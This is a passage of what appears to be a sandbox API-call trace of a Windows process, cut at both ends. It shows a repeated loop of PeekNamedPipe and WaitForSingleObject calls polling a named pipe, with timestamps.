out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.226] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.257] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.257] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.288] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.288] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.319] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.319] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.350] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.351] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.382] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.382] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.413] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.418] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.444] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.444] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.475] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.507] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.538] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.538] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.569] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.569] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.600] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.633] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.633] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.662] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.663] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.694] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.694] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.725] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.757] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.788] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.788] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.820] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.866] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.866] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.916] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.917] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.943] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.944] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.978] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.978] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.006] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.007] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.040] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.069] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.069] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.106] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.107] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.163] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.208] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.773] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.773] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.817] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.818] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0087.290] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.290] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0087.575] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.143] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.144] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.207] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.246] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.268] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.299] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.299] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.330] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.331] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.362] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.362] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.393] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.393] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.453] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.453] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.496] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.496] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.518] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.525] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.600] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.601] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.673] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.717] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.772] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.775] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.841] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.856] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.886] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.886] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.924] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.972] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.985] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.380] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.381] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.910] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.910] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.957] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.111] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.141] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.142] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.779] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.780] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.076] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.084] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.673] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.674] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.715] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.716] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.759] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.803] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.803] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.890] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.891] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.924] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.924] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.581] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.581] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.671] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, 